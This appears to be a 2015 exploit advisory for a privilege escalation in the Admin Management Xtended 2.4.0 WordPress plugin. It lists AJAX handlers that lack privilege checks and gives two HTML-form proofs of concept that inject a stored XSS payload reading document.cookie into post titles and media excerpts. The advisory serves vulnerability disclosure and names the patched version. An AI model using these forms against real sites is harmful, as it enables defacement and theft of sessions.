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WordPress Admin Management Xtended 2.4.0 Privilege Escalation

WordPress Admin Management Xtended 2.4.0 Privilege Escalation
Posted Dec 14, 2015
Authored by Kacper Szurek

WordPress Admin Management Xtended plugin version 2.4.0 suffers from a privilege escalation vulnerability.

tags | exploit
MD5 | f1a4394c59e0c7e2366f90079d13c44c

WordPress Admin Management Xtended 2.4.0 Privilege Escalation

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# Exploit Title: Admin Management Xtended 2.4.0 Privilege escalation
# Date: 14-12-2015
# Software Link: https://wordpress.org/plugins/admin-management-xtended/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps

1. Description

Inside almost all wp_ajax function there is no privilege check.

File: admin-management-xtended\general-functions.php

add_action( 'wp_ajax_ame_toggle_visibility', 'ame_toggle_visibility' );
add_action( 'wp_ajax_ame_set_date', 'ame_set_date' );
add_action( 'wp_ajax_ame_save_title', 'ame_save_title' );
add_action( 'wp_ajax_ame_save_slug', 'ame_save_slug' );
add_action( 'wp_ajax_ame_slug_edit', 'ame_slug_edit' );
add_action( 'wp_ajax_ame_save_order', 'ame_save_order' );
add_action( 'wp_ajax_ame_toggle_orderoptions', 'ame_toggle_orderoptions' );
add_action( 'wp_ajax_ame_toggle_showinvisposts', 'ame_toggle_showinvisposts' );
add_action( 'wp_ajax_ame_get_pageorder', 'ame_get_pageorder' );
add_action( 'wp_ajax_ame_ajax_save_categories', 'ame_ajax_save_categories' );
add_action( 'wp_ajax_ame_ajax_get_categories', 'ame_ajax_get_categories' );
add_action( 'wp_ajax_ame_ajax_set_commentstatus', 'ame_ajax_set_commentstatus' );
add_action( 'wp_ajax_ame_ajax_save_tags', 'ame_ajax_save_tags' );
add_action( 'wp_ajax_ame_ajax_toggle_imageset', 'ame_ajax_toggle_imageset' );
add_action( 'wp_ajax_ame_ajax_save_mediadesc', 'ame_ajax_save_mediadesc' );
add_action( 'wp_ajax_ame_author_edit', 'ame_author_edit' );
add_action( 'wp_ajax_ame_save_author', 'ame_save_author' );
add_action( 'wp_ajax_ame_toggle_excludestatus', 'ame_toggle_excludestatus' );
add_action( 'wp_ajax_ame_toggle_sticky', 'ame_toggle_sticky' );

http://security.szurek.pl/admin-management-xtended-240-privilege-escalation.html

2. Proof of Concept

Login as regular user (created using wp-login.php?action=register). Then you can change any post title:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=ame_save_title">
Post id: <input type="text" name="category_id" value="1">
Post title: <input type="text" name="new_title" value="<script>alert(document.cookie);</script>">
<input type="submit" name="submit" value="Change">
</form>

XSS will be visible on post page:

http://wordpress-url/?p=1

Or change media excerpt:

<form method="post" action="http://wordpress-url/wp-admin/admin-ajax.php?action=ame_ajax_save_mediadesc">
Post id: <input type="text" name="postid" value="1">
Excerpt: <input type="text" name="new_mediadesc" value="<script>alert(document.cookie);</script>">
<input type="submit" name="submit" value="Change">
</form>

XSS will be visible for admin:

http://wordpress-url/wp-admin/upload.php

3. Solution:

Update to version 2.4.0.1

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